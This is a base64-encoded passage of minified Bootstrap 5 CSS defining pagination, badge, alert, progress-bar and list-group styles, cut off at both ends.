cGFnaW5hdGlvbi1ib3JkZXItcmFkaXVzKX0ucGFnaW5hdGlvbi1sZ3stLWJzLXBhZ2luYXRpb24tcGFkZGluZy14OjEuNXJlbTstLWJzLXBhZ2luYXRpb24tcGFkZGluZy15OjAuNzVyZW07LS1icy1wYWdpbmF0aW9uLWZvbnQtc2l6ZToxLjI1cmVtOy0tYnMtcGFnaW5hdGlvbi1ib3JkZXItcmFkaXVzOjAuNXJlbX0ucGFnaW5hdGlvbi1zbXstLWJzLXBhZ2luYXRpb24tcGFkZGluZy14OjAuNXJlbTstLWJzLXBhZ2luYXRpb24tcGFkZGluZy15OjAuMjVyZW07LS1icy1wYWdpbmF0aW9uLWZvbnQtc2l6ZTowLjg3NXJlbTstLWJzLXBhZ2luYXRpb24tYm9yZGVyLXJhZGl1czowLjI1cmVtfS5iYWRnZXstLWJzLWJhZGdlLXBhZGRpbmcteDowLjY1ZW07LS1icy1iYWRnZS1wYWRkaW5nLXk6MC4zNWVtOy0tYnMtYmFkZ2UtZm9udC1zaXplOjAuNzVlbTstLWJzLWJhZGdlLWZvbnQtd2VpZ2h0OjcwMDstLWJzLWJhZGdlLWNvbG9yOiNmZmY7LS1icy1iYWRnZS1ib3JkZXItcmFkaXVzOjAuMzc1cmVtO2Rpc3BsYXk6aW5saW5lLWJsb2NrO3BhZGRpbmc6dmFyKC0tYnMtYmFkZ2UtcGFkZGluZy15KSB2YXIoLS1icy1iYWRnZS1wYWRkaW5nLXgpO2ZvbnQtc2l6ZTp2YXIoLS1icy1iYWRnZS1mb250LXNpemUpO2ZvbnQtd2VpZ2h0OnZhcigtLWJzLWJhZGdlLWZvbnQtd2VpZ2h0KTtsaW5lLWhlaWdodDoxO2NvbG9yOnZhcigtLWJzLWJhZGdlLWNvbG9yKTt0ZXh0LWFsaWduOmNlbnRlcjt3aGl0ZS1zcGFjZTpub3dyYXA7dmVydGljYWwtYWxpZ246YmFzZWxpbmU7Ym9yZGVyLXJhZGl1czp2YXIoLS1icy1iYWRnZS1ib3JkZXItcmFkaXVzKX0uYmFkZ2U6ZW1wdHl7ZGlzcGxheTpub25lfS5idG4gLmJhZGdle3Bvc2l0aW9uOnJlbGF0aXZlO3RvcDotMXB4fS5hbGVydHstLWJzLWFsZXJ0LWJnOnRyYW5zcGFyZW50Oy0tYnMtYWxlcnQtcGFkZGluZy14OjFyZW07LS1icy1hbGVydC1wYWRkaW5nLXk6MXJlbTstLWJzLWFsZXJ0LW1hcmdpbi1ib3R0b206MXJlbTstLWJzLWFsZXJ0LWNvbG9yOmluaGVyaXQ7LS1icy1hbGVydC1ib3JkZXItY29sb3I6dHJhbnNwYXJlbnQ7LS1icy1hbGVydC1ib3JkZXI6MXB4IHNvbGlkIHZhcigtLWJzLWFsZXJ0LWJvcmRlci1jb2xvcik7LS1icy1hbGVydC1ib3JkZXItcmFkaXVzOjAuMzc1cmVtO3Bvc2l0aW9uOnJlbGF0aXZlO3BhZGRpbmc6dmFyKC0tYnMtYWxlcnQtcGFkZGluZy15KSB2YXIoLS1icy1hbGVydC1wYWRkaW5nLXgpO21hcmdpbi1ib3R0b206dmFyKC0tYnMtYWxlcnQtbWFyZ2luLWJvdHRvbSk7Y29sb3I6dmFyKC0tYnMtYWxlcnQtY29sb3IpO2JhY2tncm91bmQtY29sb3I6dmFyKC0tYnMtYWxlcnQtYmcpO2JvcmRlcjp2YXIoLS1icy1hbGVydC1ib3JkZXIpO2JvcmRlci1yYWRpdXM6dmFyKC0tYnMtYWxlcnQtYm9yZGVyLXJhZGl1cyl9LmFsZXJ0LWhlYWRpbmd7Y29sb3I6aW5oZXJpdH0uYWxlcnQtbGlua3tmb250LXdlaWdodDo3MDB9LmFsZXJ0LWRpc21pc3NpYmxle3BhZGRpbmctcmlnaHQ6M3JlbX0uYWxlcnQtZGlzbWlzc2libGUgLmJ0bi1jbG9zZXtwb3NpdGlvbjphYnNvbHV0ZTt0b3A6MDtyaWdodDowO3otaW5kZXg6MjtwYWRkaW5nOjEuMjVyZW0gMXJlbX0uYWxlcnQtcHJpbWFyeXstLWJzLWFsZXJ0LWNvbG9yOiMwODQyOTg7LS1icy1hbGVydC1iZzojY2ZlMmZmOy0tYnMtYWxlcnQtYm9yZGVyLWNvbG9yOiNiNmQ0ZmV9LmFsZXJ0LXByaW1hcnkgLmFsZXJ0LWxpbmt7Y29sb3I6IzA2MzU3YX0uYWxlcnQtc2Vjb25kYXJ5ey0tYnMtYWxlcnQtY29sb3I6IzQxNDY0YjstLWJzLWFsZXJ0LWJnOiNlMmUzZTU7LS1icy1hbGVydC1ib3JkZXItY29sb3I6I2QzZDZkOH0uYWxlcnQtc2Vjb25kYXJ5IC5hbGVydC1saW5re2NvbG9yOiMzNDM4M2N9LmFsZXJ0LXN1Y2Nlc3N7LS1icy1hbGVydC1jb2xvcjojMGY1MTMyOy0tYnMtYWxlcnQtYmc6I2QxZTdkZDstLWJzLWFsZXJ0LWJvcmRlci1jb2xvcjojYmFkYmNjfS5hbGVydC1zdWNjZXNzIC5hbGVydC1saW5re2NvbG9yOiMwYzQxMjh9LmFsZXJ0LWluZm97LS1icy1hbGVydC1jb2xvcjojMDU1MTYwOy0tYnMtYWxlcnQtYmc6I2NmZjRmYzstLWJzLWFsZXJ0LWJvcmRlci1jb2xvcjojYjZlZmZifS5hbGVydC1pbmZvIC5hbGVydC1saW5re2NvbG9yOiMwNDQxNGR9LmFsZXJ0LXdhcm5pbmd7LS1icy1hbGVydC1jb2xvcjojNjY0ZDAzOy0tYnMtYWxlcnQtYmc6I2ZmZjNjZDstLWJzLWFsZXJ0LWJvcmRlci1jb2xvcjojZmZlY2I1fS5hbGVydC13YXJuaW5nIC5hbGVydC1saW5re2NvbG9yOiM1MjNlMDJ9LmFsZXJ0LWRhbmdlcnstLWJzLWFsZXJ0LWNvbG9yOiM4NDIwMjk7LS1icy1hbGVydC1iZzojZjhkN2RhOy0tYnMtYWxlcnQtYm9yZGVyLWNvbG9yOiNmNWMyYzd9LmFsZXJ0LWRhbmdlciAuYWxlcnQtbGlua3tjb2xvcjojNmExYTIxfS5hbGVydC1saWdodHstLWJzLWFsZXJ0LWNvbG9yOiM2MzY0NjQ7LS1icy1hbGVydC1iZzojZmVmZWZlOy0tYnMtYWxlcnQtYm9yZGVyLWNvbG9yOiNmZGZkZmV9LmFsZXJ0LWxpZ2h0IC5hbGVydC1saW5re2NvbG9yOiM0ZjUwNTB9LmFsZXJ0LWRhcmt7LS1icy1hbGVydC1jb2xvcjojMTQxNjE5Oy0tYnMtYWxlcnQtYmc6I2QzZDNkNDstLWJzLWFsZXJ0LWJvcmRlci1jb2xvcjojYmNiZWJmfS5hbGVydC1kYXJrIC5hbGVydC1saW5re2NvbG9yOiMxMDEyMTR9QGtleWZyYW1lcyBwcm9ncmVzcy1iYXItc3RyaXBlc3swJXtiYWNrZ3JvdW5kLXBvc2l0aW9uLXg6MXJlbX19LnByb2dyZXNzey0tYnMtcHJvZ3Jlc3MtaGVpZ2h0OjFyZW07LS1icy1wcm9ncmVzcy1mb250LXNpemU6MC43NXJlbTstLWJzLXByb2dyZXNzLWJnOiNlOWVjZWY7LS1icy1wcm9ncmVzcy1ib3JkZXItcmFkaXVzOjAuMzc1cmVtOy0tYnMtcHJvZ3Jlc3MtYm94LXNoYWRvdzppbnNldCAwIDFweCAycHggcmdiYSgwLCAwLCAwLCAwLjA3NSk7LS1icy1wcm9ncmVzcy1iYXItY29sb3I6I2ZmZjstLWJzLXByb2dyZXNzLWJhci1iZzojMGQ2ZWZkOy0tYnMtcHJvZ3Jlc3MtYmFyLXRyYW5zaXRpb246d2lkdGggMC42cyBlYXNlO2Rpc3BsYXk6ZmxleDtoZWlnaHQ6dmFyKC0tYnMtcHJvZ3Jlc3MtaGVpZ2h0KTtvdmVyZmxvdzpoaWRkZW47Zm9udC1zaXplOnZhcigtLWJzLXByb2dyZXNzLWZvbnQtc2l6ZSk7YmFja2dyb3VuZC1jb2xvcjp2YXIoLS1icy1wcm9ncmVzcy1iZyk7Ym9yZGVyLXJhZGl1czp2YXIoLS1icy1wcm9ncmVzcy1ib3JkZXItcmFkaXVzKX0ucHJvZ3Jlc3MtYmFye2Rpc3BsYXk6ZmxleDtmbGV4LWRpcmVjdGlvbjpjb2x1bW47anVzdGlmeS1jb250ZW50OmNlbnRlcjtvdmVyZmxvdzpoaWRkZW47Y29sb3I6dmFyKC0tYnMtcHJvZ3Jlc3MtYmFyLWNvbG9yKTt0ZXh0LWFsaWduOmNlbnRlcjt3aGl0ZS1zcGFjZTpub3dyYXA7YmFja2dyb3VuZC1jb2xvcjp2YXIoLS1icy1wcm9ncmVzcy1iYXItYmcpO3RyYW5zaXRpb246dmFyKC0tYnMtcHJvZ3Jlc3MtYmFyLXRyYW5zaXRpb24pfUBtZWRpYSAocHJlZmVycy1yZWR1Y2VkLW1vdGlvbjpyZWR1Y2Upey5wcm9ncmVzcy1iYXJ7dHJhbnNpdGlvbjpub25lfX0ucHJvZ3Jlc3MtYmFyLXN0cmlwZWR7YmFja2dyb3VuZC1pbWFnZTpsaW5lYXItZ3JhZGllbnQoNDVkZWcscmdiYSgyNTUsMjU1LDI1NSwuMTUpIDI1JSx0cmFuc3BhcmVudCAyNSUsdHJhbnNwYXJlbnQgNTAlLHJnYmEoMjU1LDI1NSwyNTUsLjE1KSA1MCUscmdiYSgyNTUsMjU1LDI1NSwuMTUpIDc1JSx0cmFuc3BhcmVudCA3NSUsdHJhbnNwYXJlbnQpO2JhY2tncm91bmQtc2l6ZTp2YXIoLS1icy1wcm9ncmVzcy1oZWlnaHQpIHZhcigtLWJzLXByb2dyZXNzLWhlaWdodCl9LnByb2dyZXNzLWJhci1hbmltYXRlZHthbmltYXRpb246MXMgbGluZWFyIGluZmluaXRlIHByb2dyZXNzLWJhci1zdHJpcGVzfUBtZWRpYSAocHJlZmVycy1yZWR1Y2VkLW1vdGlvbjpyZWR1Y2Upey5wcm9ncmVzcy1iYXItYW5pbWF0ZWR7YW5pbWF0aW9uOm5vbmV9fS5saXN0LWdyb3Vwey0tYnMtbGlzdC1ncm91cC1jb2xvcjojMjEyNTI5Oy0tYnMtbGlzdC1ncm91cC1iZzojZmZmOy0tYnMtbGlzdC1ncm91cC1ib3JkZXItY29sb3I6cmdiYSgwLCAwLCAwLCAwLjEyNSk7LS1icy1saXN0LWdyb3VwLWJvcmRlci13aWR0aDoxcHg7LS1icy1saXN0LWdyb3VwLWJvcmRlci1yYWRpdXM6MC4zNzVyZW07LS1icy1saXN0LWdyb3VwLWl0ZW0tcGFkZGluZy14OjFyZW07LS1icy1saXN0LWdyb3VwLWl0ZW0tcGFkZGluZy15OjAuNXJlbTstLWJzLWxpc3QtZ3JvdXAtYWN0aW9uLWNvbG9yOiM0OTUwNTc7LS1icy1saXN0LWdyb3VwLWFjdGlvbi1ob3Zlci1jb2xvcjojNDk1MDU3Oy0tYnMtbGlzdC1ncm91cC1hY3Rpb24taG92ZXItYmc6I2Y4ZjlmYTstLWJzLWxpc3QtZ3JvdXAtYWN0aW9uLWFjdGl2ZS1jb2xvcjojMjEyNTI5Oy0tYnMtbGlzdC1ncm91cC1hY3Rpb24tYWN0aXZlLWJnOiNlOWVjZWY7LS1icy1saXN0LWdyb3VwLWRpc2FibGVkLWNvbG9yOiM2Yzc1N2Q7LS1icy1saXN0LWdyb3VwLWRpc2FibGVkLWJnOiNmZmY7LS1icy1saXN0LWdyb3VwLWFjdGl2ZS1jb2xvcjojZmZmOy0tYnMtbGlzdC1ncm91cC1hY3RpdmUtYmc6IzBkNmVmZDstLWJzLWxpc3QtZ3JvdXAtYWN0aXZlLWJvcmRlci1jb2xvcjojMGQ2ZWZkO2Rpc3BsYXk6ZmxleDtmbGV4LWRpcmVjdGlvbjpjb2x1bW47cGFkZGluZy1sZWZ0OjA7bWFyZ2luLWJvdHRvbTowO2JvcmRlci1yYWRpdXM6dmFyKC0tYnMtbGlzdC1ncm91cC1ib3JkZXItcmFkaXVzKX0ubGlzdC1ncm91cC1udW1iZXJlZHtsaXN0LXN0eWxlLXR5cGU6bm9uZTtjb3VudGVyLXJlc2V0OnNlY3Rpb259Lmxpc3QtZ3JvdXAtbnVtYmVyZWQ+Lmxpc3QtZ3JvdXAtaXRlbTo6YmVmb3Jle2NvbnRlbnQ6Y291bnRlcnMoc2VjdGlvbiwgIi4iKSAiLiAiO2NvdW50ZXItaW5jcmVtZW50OnNlY3Rpb259Lmxpc3QtZ3JvdXAtaXRlbS1hY3Rpb257d2lkdGg6MTAwJTtjb2xvcjp2YXIoLS1icy1saXN0LWdyb3VwLWFjdGlvbi1jb2xvcik7dGV4dC1hbGlnbjppbmhlcml0fS5saXN0LWdyb3VwLWl0ZW0tYWN0aW9uOmZvY3VzLC5saXN0LWdyb3VwLWl0ZW0tYWN0aW9uOmhvdmVye3otaW5kZXg6MTtjb2xvcjp2YXIoLS1icy1saXN0LWdyb3VwLWFjdGlvbi1ob3Zlci1jb2xvcik7dGV4dC1kZWNvcmF0aW9uOm5vbmU7YmFja2dyb3VuZC1jb2xvcjp2YXIoLS1icy1saXN0LWdyb3VwLWFjdGlvbi1ob3Zlci1iZyl9Lmxpc3QtZ3JvdXAtaXRlbS1hY3Rpb246YWN0aXZle2NvbG9yOnZhcigtLWJzLWxpc3QtZ3JvdXAtYWN0aW9uLWFjdGl2ZS1jb2xvcik7YmFja2dyb3VuZC1jb2xvcjp2YXIoLS1icy1saXN0LWdyb3VwLWFjdGlvbi1hY3RpdmUtYmcpfS5saXN0LWdyb3VwLWl0ZW17cG9zaXRpb246cmVsYXRpdmU7ZGlzcGxheTpibG9jaztwYWRkaW5nOnZhcigtLWJzLWxpc3QtZ3JvdXAtaXRlbS1wYWRkaW5nLXkpIHZhcigtLWJzLWxpc3QtZ3JvdXAtaXRlbS1wYWRkaW5nLXgpO2NvbG9yOnZhcigtLWJzLWxpc3QtZ3JvdXAtY29sb3IpO3RleHQtZGVjb3JhdGlvbjpub25lO2JhY2tncm91bmQtY29sb3I6dmFyKC0tYnMtbGlzdC1ncm91cC1iZyk7Ym9yZGVyOnZhcigtLWJzLWxpc3QtZ3JvdXAtYm9yZGVyLXdpZHRoKSBzb2xpZCB2YXIoLS1icy1saXN0LWdyb3VwLWJvcmRlci1jb2xvcil9Lmxpc3QtZ3JvdXAtaXRlbTpmaXJzdC1jaGlsZHtib3JkZXItdG9wLWxlZnQtcmFkaXVzOmluaGVyaXQ7Ym9yZGVyLXRvcC1yaWdodC1yYWRpdXM6aW5oZXJpdH0ubGlzdC1ncm91cC1pdGVtOmxhc3QtY2hpbGR7Ym9yZGVyLWJvdHRvbS1yaWdodC1yYWRpdXM6aW5oZXJpdDtib3JkZXItYm90dG9tLWxlZnQtcmFkaXVzOmluaGVyaXR9Lmxpc3QtZ3JvdXAtaXRlbS5kaXNhYmxlZCwubGlzdC1ncm91cC1pdGVtOmRpc2FibGVke2NvbG9yOnZhcigtLWJzLWxpc3QtZ3JvdXAtZGlzYWJsZWQtY29sb3IpO3BvaW50ZXItZXZlbnRzOm5vbmU7YmFja2dyb3VuZC1jb2xvcjp2YXIoLS1icy1saXN0LWdyb3VwLWRpc2FibGVkLWJnKX0ubGlzdC1ncm91cC1pdGVtLmFjdGl2ZXt6LWluZGV4OjI7Y29sb3I6dmFyKC0tYnMtbGlzdC1ncm91cC1hY3RpdmUtY29sb3IpO2JhY2tncm91bmQtY29sb3I6dmFyKC0tYnMtbGlzdC1ncm91cC1hY3RpdmUtYmcpO2JvcmRlci1jb2xvcjp2YXIoLS1icy1saXN0LWdyb3VwLWFjdGl2ZS1ib3JkZXItY29sb3IpfS5saXN0LWdyb3VwLWl0ZW0rLmxpc3QtZ3JvdXAtaXRlbXtib3JkZXItdG9wLXdpZHRoOjB9Lmxpc3QtZ3JvdXAtaXRlbSsubGlzdC1ncm91cC1pdGVtLmFjdGl2ZXttYXJnaW4tdG9wOmNhbGMoLTEgKiB2YXIoLS1icy1saXN0LWdyb3VwLWJvcmRlci13aWR0aCkpO2JvcmRlci10b3Atd2lkdGg6dmFyKC0tYnMtbGlzdC1ncm91cC1ib3JkZXItd2lkdGgpfS5saXN0LWdyb3VwLWhvcml6b250YWx7ZmxleC1kaXJlY3Rpb246cm93fS5saXN0LWdyb3VwLWhvcml6b250YWw+Lmxpc3QtZ3JvdXAtaXRlbTpmaXJzdC1jaGlsZDpub3QoOmxhc3QtY2hpbGQpe2JvcmRlci1ib3R0b20tbGVmdC1yYWRpdXM6dmFyKC0tYnMtbGlzdC1ncm91cC1ib3JkZXItcmFkaXVzKTtib3JkZXItdG9wLXJpZ2h0LXJhZGl1czowfS5saXN0LWdyb3VwLWhvcml6b250YWw+Lmxpc3QtZ3JvdXAtaXRlbTpsYXN0LWNoaWxkOm5vdCg6Zmlyc3QtY2hpbGQpe2JvcmRlci10b3AtcmlnaHQtcmFkaXVzOnZhcigtLWJzLWxpc3QtZ3JvdXAtYm9yZGVyLXJhZGl1cyk7Ym9yZGVyLWJvdHRvbS1sZWZ0LXJhZGl1czowfS5saXN0LWdyb3VwLWhvcml6b250YWw+Lmxpc3QtZ3JvdXAtaXRlbS5hY3RpdmV7bWFyZ2luLXRvcDowfS5saXN0LWdyb3VwLWhvcml6b250YWw+Lmxpc3QtZ3JvdXAtaXRlbSsubGlzdC1ncm91cC1pdGVte2JvcmRlci10b3Atd2lkdGg6dmFyKC0tYnMtbGlzdC1ncm91cC1ib3JkZXItd2lkdGgpO2JvcmRlci1sZWZ0LXdpZHRoOjB9Lmxpc3QtZ3JvdXAtaG9yaXpvbnRhbD4ubGlzdC1ncm91cC1pdGVtKy5saXN0LWdyb3VwLWl0ZW0uYWN0aXZle21hcmdpbi1sZWZ0OmNhbGMoLTEgKiB2YXIoLS1icy1saXN0LWdyb3VwLWJvcmRlci13aWR0aCkpO2JvcmRlci1sZWZ0LXdpZHRoOnZhcigtLWJzLWxpc3QtZ3JvdXAtYm9yZGVyLXdpZHRoKX1AbWVkaWEgKG1pbi13aWR0aDo1NzZweCl7Lmxpc3QtZ3JvdXAtaG9yaXpvbnRhbC1zbXtmbGV4LWRpcmVjdGlvbjpyb3d9Lmxpc3QtZ3JvdXAtaG9yaXpvbnRhbC1zbT4ubGlzdC1ncm91cC1pdGVtOmZpcnN0LWNoaWxkOm5vdCg6bGFzdC1jaGlsZCl7Ym9yZGVyLWJvdHRvbS1sZWZ0LXJhZGl1czp2YXIoLS1icy1saXN0LWdyb3VwLWJvcmRlci1yYWRpdXMpO2JvcmRlci10b3AtcmlnaHQtcmFkaXVzOjB9Lmxpc3QtZ3JvdXAtaG9yaXpvbnRhbC1zbT4ubGlzdC1ncm91cC1pdGVtOmxhc3QtY2hpbGQ6bm90KDpmaXJzdC1jaGlsZCl7Ym9yZGVyLXRvcC1yaWdodC1yYWRpdXM6dmFyKC0tYnMtbGlzdC1ncm91cC1ib3JkZXItcmFkaXVzKTtib3JkZXItYm90dG9tLWxlZnQtcmFkaXVzOjB9Lmxpc3QtZ3JvdXAtaG9yaXpvbnRhbC1zbT4ubGlzdC1ncm91cC1pdGVtLmFjdGl2ZXttYXJnaW4tdG9wOjB9Lmxpc3QtZ3JvdXAtaG9yaXpvbnRhbC1zbT4ubGlzdC1ncm91cC1pdGVtKy5saXN0LWdyb3VwLWl0ZW17Ym9yZGVyLXRvcC13aWR0aDp2YXIoLS1icy1saXN0LWdyb3VwLWJvcmRlci13aWR0aCk7Ym9yZGVyLWxlZnQtd2lkdGg6MH0ubGlzdC1ncm91cC1ob3Jpem9udGFsLXNtPi5saXN0LWdyb3VwLWl0ZW0rLmxpc3QtZ3JvdXAtaXRlbS5hY3RpdmV7bWFyZ2luLWxlZnQ6Y2FsYygtMSAqIHZhcigtLWJzLWxpc3QtZ3JvdXAtYm9yZGVyLXdpZHRoKSk7Ym9yZGVyLWxlZnQtd2lkdGg6dmFyKC0tYnMtbGlzdC1ncm91cC1ib3JkZXItd2lkdGgpfX1AbWVkaWEgKG1pbi13aWR0aDo3NjhweCl7Lmxpc3QtZ3JvdXAtaG9yaXpvbnRhbC1tZHtmbGV4LWRpcmVjdGlvbjpyb3d9Lmxpc3QtZ3JvdXAtaG9yaXpvbnRhbC1tZD4ubGlzdC1ncm91cC1pdGVtOmZpcnN0LWNoaWxkOm5vdCg6bGFzdC1jaGlsZCl7Ym9yZGVyLWJvdHRvbS1sZWZ0LXJhZGl1czp2YXIoLS1icy1saXN0LWdyb3VwLWJvcmRlci1yYWRpdXMpO2JvcmRlci10b3AtcmlnaHQtcmFkaXVzOjB9Lmxpc3QtZ3JvdXAtaG9yaXpvbnRhbC1tZD4ubGlzdC1ncm91cC1pdGVtOmxhc3QtY2hpbGQ6bm90KDpmaXJzdC1jaGlsZCl7Ym9yZGVyLXRvcC1yaWdodC1yYWRpdXM6dmFyKC0tYnMtbGlzdC1ncm91cC1ib3JkZXItcmFkaXVzKTtib3JkZXItYm90dG9tLWxlZnQtcmFkaXVzOjB9Lmxpc3QtZ3JvdXAtaG9yaXpvbnRhbC1tZD4ubGlzdC1ncm91cC1pdGVtLmFjdGl2ZXttYXJnaW4tdG9wOjB9Lmxpc3QtZ3JvdXAtaG9yaXpvbnRhbC1tZD4ubGlzdC1ncm91cC1pdGVtKy5saXN0LWdyb3VwLWl0ZW17Ym9yZGVyLXRvcC13aWR0aDp2YXIoLS1icy1saXN0LWdyb3VwLWJvcmRlci13aWR0aCk7Ym9yZGVyLWxlZnQtd2lkdGg6MH0ubGlzdC1ncm91cC1ob3Jpem9udGFsLW1kPi5saXN0LWdyb3VwLWl0ZW0rLmxpc3QtZ3JvdXAtaXRlbS5hY3RpdmV7bWFyZ2luLWxlZnQ6Y2FsYygtMSAqIHZhcigtLWJzLWxpc3QtZ3JvdXAtYm9yZGVyLXdpZHRoKSk7Ym9yZGVyLWxlZnQtd2lkdGg6dmFyKC0tYnMtbGlzdC1ncm91cC1ib3JkZXItd2lkdGgpfX1AbWVkaWEgKG1pbi13aWR0aDo5OTJweCl7Lmxpc3QtZ3JvdXAtaG9yaXpvbnRhbC1sZ3tmbGV4LWRpcmVjdGlvbjpyb3d9Lmxpc3QtZ3JvdXAtaG9yaXpvbnRhbC1sZz4ubGlzdC1ncm91cC1pdGVtOmZpcnN0LWNoaWxkOm5vdCg6bGFzdC1jaGlsZCl7Ym9yZGVyLWJvdHRvbS1sZWZ0LXJhZGl1czp2YXIoLS1icy1saXN0LWdyb3VwLWJvcmRlci1yYWRpdXMpO2JvcmRlci10b3AtcmlnaHQtcmFkaXVzOjB9Lmxpc3QtZ3JvdXAtaG9yaXpvbnRhbC1sZz4ubGlzdC1ncm91cC1pdGVtOmxhc3QtY2hpbGQ6bm90KDpmaXJzdC1jaGlsZCl7Ym9yZGVyLXRvcC1yaWdodC1yYWRpdXM6dmFyKC0tYnMtbGlzdC1ncm91cC1ib3JkZXItcmFkaXVzKTtib3JkZXItYm90dG9tLWxlZnQtcmFkaXVzOjB9Lmxpc3QtZ3JvdXAtaG9yaXpvbnRhbC1sZz4ubGlzdC1ncm91cC1pdGVtLmFjdGl2ZXttYXJnaW4tdG9wOjB9Lmxpc3QtZ3JvdXAtaG9yaXpvbnRhbC1sZz4ubGlzdC1ncm91cC1pdGVtKy5saXN0LWdyb3VwLWl0ZW17Ym9yZGVyLXRvcC13aWR0aDp2YXIoLS1icy1saXN0LWdyb3VwLWJvcmRlci13aWR0aCk7Ym9yZGVyLWxlZnQtd2lkdGg6MH0ubGlzdC1ncm91cC1ob3Jpem9udGFsLWxnPi5saXN0LWdyb3VwLWl0ZW0rLmxpc3QtZ3JvdXAtaXRlbS5hY3RpdmV7bWFyZ2luLWxlZnQ6Y2FsYygtMSAqIHZhcigtLWJzLWxpc3QtZ3JvdXAtYm9yZGVyLXdpZHRoKSk7Ym9yZGVyLWxlZnQtd2lkdGg6dmFyKC0tYnMtbGlzdC1ncm91cC1ib3JkZXItd2lkdGgpfX1AbWVkaWEgKG1pbi13aWR0aDoxMjAwcHgpey5saXN0LWdyb3VwLWhvcml6b250YWwteGx7ZmxleC1kaXJlY3Rpb246cm93fS5saXN0LWdyb3VwLWhvcml6b250YWwteGw+Lmxpc3QtZ3JvdXAtaXRlbTpmaXJzdC1jaGlsZDpub3QoOmxhc3QtY2hpbGQpe2JvcmRlci1ib3R0b20tbGVmdC1yYWRpdXM6dmFyKC0tYnMtbGlzdC1ncm91cC1ib3JkZXItcmFkaXVzKTtib3JkZXItdG9wLXJpZ2h0LXJhZGl1czowfS5saXN0LWdyb3VwLWhvcml6b250YWwteGw+Lmxpc3QtZ3JvdXAtaXRlbTpsYXN0LWNoaWxkOm5vdCg6Zmlyc3QtY2hpbGQpe2JvcmRlci10b3AtcmlnaHQtcmFkaXVzOnZhcigtLWJzLWxpc3QtZ3JvdXAtYm9yZGVyLXJhZGl1cyk7Ym9yZGVyLWJvdHRvbS1sZWZ0LXJhZGl1czowfS5saXN0LWdyb3VwLWhvcml6b250YWwteGw+Lmxpc3QtZ3JvdXAtaXRlbS5hY3RpdmV7bWFyZ2luLXRvcDowfS5saXN0LWdyb3VwLWhvcml6b250YWwteGw+Lmxpc3QtZ3JvdXAtaXRlbSsubGlzdC1ncm91cC1pdGVte2JvcmRlci10b3Atd2lkdGg6dmFyKC0tYnMtbGlzdC1ncm91cC1ib3JkZXItd2lkdGgpO2JvcmRlci1sZWZ0LXdpZHRoOjB9Lmxpc3QtZ3JvdXAtaG9yaXpvbnRhbC14bD4ubGlzdC1ncm91cC1pdGVtKy5saXN0LWdyb3VwLWl0ZW0uYWN0aXZle21hcmdpbi1sZWZ0OmNhbGMoLTEgKiB2YXIoLS1icy1saXN0LWdyb3VwLWJvcmRlci13aWR0aCkpO2JvcmRlci1sZWZ0LXdpZHRoOnZhcigtLWJzLWxpc3QtZ3JvdXAtYm9yZGVyLXdpZHRoKX19QG1lZGlhIChtaW4td2lkdGg6MTQwMHB4KXsubGlzdC1ncm91cC1ob3Jpem9udGFsLXh4bHtmbGV4LWRpcmVjdGlvbjpyb3d9Lmxpc3QtZ3JvdXAtaG9yaXpvbnRhbC14eGw+Lmxpc3QtZ3JvdXAtaXRlbTpmaXJzdC1jaGlsZDpub3QoOmxhc3QtY2hpbGQpe2JvcmRlci1ib3R0b20tbGVmdC1yYWRpdXM6dmFyKC0tYnMtbGlzdC1ncm91cC1ib3JkZXItcmFkaXVzKTtib3JkZXItdG9wLXJpZ2h0LXJhZGl1czowfS5saXN0LWdyb3VwLWhvcml6b250YWwteHhsPi5saXN0LWdyb3VwLWl0ZW06bGFzdC1jaGlsZDpub3QoOmZpcnN0LWNoaWxkKXtib3JkZXItdG9wLXJpZ2h0LXJhZGl1czp2YXIoLS1icy1saXN0LWdyb3VwLWJvcmRlci1yYWRpdXMpO2JvcmRlci1ib3R0b20tbGVmdC1yYWRpdXM6MH0ubGlzdC1ncm91cC1ob3Jpem9udGFsLXh4bD4ubGlzdC1ncm91cC1pdGVtLmFjdGl2ZXttYXJnaW4tdG9wOjB9Lmxpc3QtZ3JvdXAtaG9yaXpvbnRhbC14eGw+Lmxpc3QtZ3JvdXAtaXRlbSsubGlzdC1ncm91cC1pdGVte2JvcmRlci10b3Atd2lkdGg6dmFyKC0tYnMtbGlzdC1ncm91cC1ib3JkZXItd2lkdGgpO2JvcmRlci1sZWZ0LXdpZHRoOjB9Lmxpc3QtZ3JvdXAtaG9yaXpvbnRhbC14eGw+Lmxpc3QtZ3JvdXAtaXRlbSsubGlzdC1ncm91cC1pdGVtLmFjdGl2ZXttYXJnaW4tbGVmdDpjYWxjKC0xICogdmFyKC0tYnMtbGlzdC1ncm91cC1ib3JkZXItd2lkdGgpKTtib3JkZXItbGVmdC13aWR0aDp2YXIoLS1icy1saXN0LWdyb3VwLWJvcmRlci13aWR0aCl9fS5saXN0LWdyb3VwLWZsdXNoe2JvcmRlci1yYWRpdXM6MH0ubGlzdC1ncm91cC1mbHVzaD4ubGlzdC1ncm91cC1pdGVte2JvcmRlci13aWR0aDowIDAgdmFyKC0tYnMtbGlzdC1ncm91cC1ib3JkZXItd2lkdGgpfS5saXN0LWdyb3VwLWZsdXNoPi5saXN0LWdyb3VwLWl0ZW06bGFzdC1jaGlsZHtib3JkZXItYm90dG9tLXdpZHRoOjB9Lmxpc3QtZ3JvdXAtaXRlbS1wcmltYXJ5e2NvbG9yOiMwODQyOTg7YmFja2dyb3VuZC1jb2xvcjojY2ZlMmZmfS5saXN0LWdyb3VwLWl0ZW0tcHJpbWFyeS5saXN0LWdyb3VwLWl0ZW0tYWN0aW9uOmZvY3VzLC5saXN0LWdyb3VwLWl0ZW0tcHJpbWFyeS5saXN0LWdyb3VwLWl0ZW0tYWN0aW9uOmhvdmVye2NvbG9yOiMwODQyOTg7YmFja2dyb3VuZC1jb2xvcjojYmFjYmU2fS5saXN0LWdyb3VwLWl0ZW0tcHJpbWFyeS5saXN0LWdyb3VwLWl0ZW0tYWN0aW9uLmFjdGl2ZXtjb2xvcjojZmZmO2JhY2tncm91bmQtY29sb3I6IzA4NDI5ODtib3JkZXItY29sb3I6IzA4NDI5OH0ubGlzdC1ncm91cC1pdGVtLXNlY29uZGFyeXtjb2xvcjojNDE0NjRiO2JhY2tncm91bmQtY29sb3I6I2UyZTNlNX0ubGlzdC1ncm91cC1pdGVtLXNlY29uZGFyeS5saXN0LWdyb3VwLWl0ZW0tYWN0aW9uOmZvY3VzLC5saXN0LWdyb3VwLWl0ZW0tc2Vjb25kYXJ5Lmxpc3QtZ3JvdXAtaXRlbS1hY3Rpb246aG92ZXJ7Y29sb3I6IzQxNDY0YjtiYWNrZ3JvdW5kLWNvbG9yOiNjYmNjY2V9Lmxpc3QtZ3JvdXAtaXRlbS1z